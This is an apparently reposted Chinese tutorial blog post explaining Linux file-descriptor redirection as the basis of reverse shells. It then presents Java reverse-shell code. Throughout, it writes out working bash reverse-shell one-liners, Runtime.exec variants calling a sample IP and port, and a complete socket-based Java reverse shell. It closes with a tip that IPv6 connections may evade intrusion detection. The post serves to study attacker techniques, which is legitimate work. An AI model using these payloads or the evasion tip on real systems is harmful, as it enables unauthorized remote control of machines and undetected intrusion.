未加星标

使用Java反弹shell

字体大小 | |
[系统(linux) 所属分类 系统(linux) | 发布者 店小二05 | 时间 2018 | 作者 红领巾 ] 0人收藏点击收藏

最近一直在看反弹shell,网上也有大量地一句话反弹shell,如 各种环境下反弹 shell 的方法 , linux各种一句话反弹shell总结 。但是鲜有文章讲明这些反弹shell的原理。即使有文章讲,但是感觉也没有讲清楚。这个问题也一直困扰了很久,通过自己查阅资料,问朋友,做实验,最终才将这个问题差不多搞懂了。如果文章中有不对的地方也欢迎各位师傅来交流。

反弹shell举例

最常见的反弹shell的写法是:

bash -i >& /dev/tcp/ip/port 0>&1

在讲解具体的反弹shell的原理时,我们首先必须要了解Linux中文件描述符和重定向这两个概念。

文件描述符&重定向

首先需要知道在Linux中一些基本的尝试,如文件描述符(File Descriptor,fd)。在Linux中有如下的定义:

文件描述符0 表示标准输入 文件描述符1 表示标准输出 文件描述符2 表示标准错误

所以在一般情况下,文件描述符表的指向如下:


使用Java反弹shell

在Linux中, > 表示重定向的含义。表示将一个命令的输出输入重定向到另外一个地方。比如我们使用 ls -all > tmp.txt ,就是表示我们将 ls -all 的结果不是直接在terminal上面输出,而是写入到 tmp.txt 文件中。

其实在Linux下本质的原因是,命令 command > file 就等价于 command 1>file 。由于1表示的是标准输出。由于出现了 1>file ,所以文件描述符表就会发生变化。此时变为了:


使用Java反弹shell

Bash会打开文件file,然后将文件描述符1的指针指向file。所以所有的输出是写入到文件描述1,由于现在文件描述符1已经指向了file,所有所有的输出全部都会写入到文件中。这也就是为什么当我们使用类似于 ls -all > tmp.txt 时, ls -all 的结果会全部写入到 tmp.txt 中。

这个只是一些最基本的情况。我们在反弹shell中可能最常见的命令是 >& 或者 &> 。我们进一步进行说明。命令 command &>file (也等同于 command >&file ,此后这种情况将不再作说明)。这个 &> 就是将 command 命令的输出和错误全部重定向到 file 中,这是一种快速简单的重定向的写法。所以执行 command >&file 之后,文件描述符变为了:


使用Java反弹shell

其实 command >&file 这种写法也等价于 command >file 2>&1 。(其中 2>&1 表示的就是将文件描述符2重定向到文件描述符1)。下图展示了这个文件描述表的变化过程。


使用Java反弹shell

需要注意的是,在Linux中文件的重定向的顺序是非常重要的。上述的 command >file 2>&1 和 command 2>&1 >file 执行得到的结果是完全不一样的。下图展示的是 command 2>&1 >file 的文件描述符的变化过程。


使用Java反弹shell

通过文件描述符的最终状态就可以看出来,最终执行完毕 command 2>&1 >file ,只有文件描述符1指向的是 file 。这样的情况和 command >file 2>&1 是完全不一定的。

更多地关于文件描述符的详情可以参考文章 Bash One-Liners Explained, Part III: All about redirections

特殊情况

在上一节中讲到的文件描述符0、1、2d都是系统默认的文件描述符,所以3之后的数字我们都可以自行使用。以下就用一个简单的例子来说明:


使用Java反弹shell
echo "123456">test.txt 是创建一个test.txt,文件内容是123456 exec 3<test.txt ,创建文件描述符3,并将文件描述符3指向 test.txt grep "1" < &3 ,此时文件描述符3充当了文件描述符1的功能,作为了 grep 命令的输入,最终查询得到了结果

但是还有一类比较特殊的文件重定向用法 <> ,表示同时对文件进行读写操作。示例如下:


使用Java反弹shell
echo "456789">test2.txt exec 5<> test2.txt read -n 3 var <&5 echo $var 反弹shell分析

上一节的两种方式都是可以用作反弹shell的,分别是 bash -i >& /dev/tcp/ip/port 0>&1 这种方式以及 bash -i 5<>/dev/tcp/host/port 0>&5 1>&5 方式。这两种方式的原理其实都是类似,下面对其进行简要的分析。

方式一

bash -i >& /dev/tcp/ip/port 0>&1

bash -i 创建一个交互式的bash进程 /dev/tcp/ip/port ,linux中所有的程序都是以文件的形式存在。这句话的意思与 ip:port 建立了一个TCP连接。 >& command >&file 这种写法也等价于 command >file 2>&1 。(其中 2>&1 表示的就是将文件描述符2重定向到文件描述符1) 0>&1 将标准输入重定向到标准输出。

下图说明了上述命令的文件描述符的变化过程。


使用Java反弹shell

通过整个变化过程,我们就可以很清晰地看到最终是完成了反弹shell。

方式二

bash -i 5<>/dev/tcp/host/port 0>&5 1>&5

同理,我们按照上述的分析方法对这个反弹shell进行分析。

5<>/dev/tcp/host/port ,以读写的方式打开 /dev/tcp/host/port ,并将文件描述符5重定向到 /dev/tcp/host/port 0>&5 ,将文件描述符0(标准输入)重定向至文件描述符5 1>&5 ,将文件描述符1(标准输出)重定向至文件描述符5

下图说明了上述命令的文件描述符的变化过程。


使用Java反弹shell

最终的效果就是文件描述符0(标准输入)和文件描述1(标准输出)全部都重定向到 /dev/tcp/host/port ,从而就完成了反弹shell。

方式三

exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line >&5; done

exec 5<>/dev/tcp/ip/port ,以读写的方式打开 /dev/tcp/ip/port ,并将文件描述符5重定向到 /dev/tcp/ip/port cat <&5 ,将文件描述符5的重定向到 cat 中,即cat读取到 &5 的内容。结合1就是cat会读取 /dev/tcp/ip/port 中shell的输入内容。 | ,管道符。将cat读取的结果作为后面的输入; while read line; do $line >&5; done ,拆开看。 while do done 是shell中 while 的规定语法。其中 read line; 表示的就是会循环读取 cat <&5 的内容,赋值到 line 变量中,之后 $line 会执行 line 语句中的命令,最后 >&5 ,表示将当前bash的输出和错误重定向至文件描述符5中,即 /dev/tcp/ip/port 。

下图说明了上述命令的文件描述符的变化过程。


使用Java反弹shell

相信通过上面的三个例子应该对不同形式下的反弹shell有个清新地认识,至于不同版本或者是不同语言的反弹shell其实都是上面的变形而已。

写完之后才发现在先知上已经有两篇很详细地文章了, Linux反弹shell(一)文件描述符与重定向 、 Linux 反弹shell(二)反弹shell的本质 。

java反弹shell 常见方式

说到Java发弹shell,网上所有的java反弹shell使用的都是:

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor() 首先 ["a","b","c] as String[] 这种写法没有见过,至少我在jdk1.8上面测试是失败的,正常的写法应该是 new String[]{"a","b","c"} 这种写法。那么上述的写法就变为: Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"}); p.waitFor();

可以发现能够成功地反弹shell。

举一反三,既然上述的这种可以,那么下面这种也同样可以:

Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"}); p.waitFor();

通过分析,其实上面的这两种反弹shell的命令非常容易理解。 /bin/bash 是需要运行的程序。而 -c 和 bash -i >& /dev/tcp/ip/port 0>&1 都是作为 /bin/bash 的参数,我们都知道 bash -c "cmd string" ,就是使用shell去运行 cmd string 字符串,所以上述的命令就是利用shell运行 bash -i >& /dev/tcp/ip/port 0>&1 ,这就和直接在bash中输入 bash -i >& /dev/tcp/ip/port 0>&1 的效果是一样的。

当然像这样的例子还能够写很多。

特殊方式

上面说的反弹shell的方式其实还是利用常见的 bash 反弹shell的原理。既然在java中也存在 socket ,那么我们就可以直接利用Java中的socket建立连接进行反弹shell。如下:

String host=host; int port=port; String cmd="/bin/sh"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s=new Socket(host,port); InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream(); while(!s.isClosed()) { while(pi.available()>0) { so.write(pi.read()); } while(pe.available()>0) { so.write(pe.read()); } while(si.available()>0) { po.write(si.read()); } so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e){ } }; p.destroy(); s.close();

我们直接通过 Socket s=new Socket(host,port); 这种方式,按照 https://docs.oracle.com/javase/7/docs/technotes/guides/net/ipv6_guide/ 的说明:

You can run the same bytecode for this example in IPv6 mode if both your local host machine and the destination machine (taranis) are IPv6-enabled.

即如果目标机器和本地机器都支持IPv6,则使用IPv6。在本地实际测试的结果也是如此:


使用Java反弹shell

这种特性有什用呢?其实很多NIDS考虑到目前大部分的网络行为都是IPv4的,所以基本都是检测的IPv4的地址,也就是说IPv6的通信流量有一定的概率能够绕过NIDS的检测。

参考 http://www.catonmat.net/blog/bash-one-liners-explained-part-three/ https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/

本文系统(linux)相关术语:linux系统 鸟哥的linux私房菜 linux命令大全 linux操作系统

代码区博客精选文章
分页:12
转载请注明
本文标题:使用Java反弹shell
本站链接:https://www.codesec.net/view/611142.html


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 系统(linux) | 评论(0) | 阅读(72)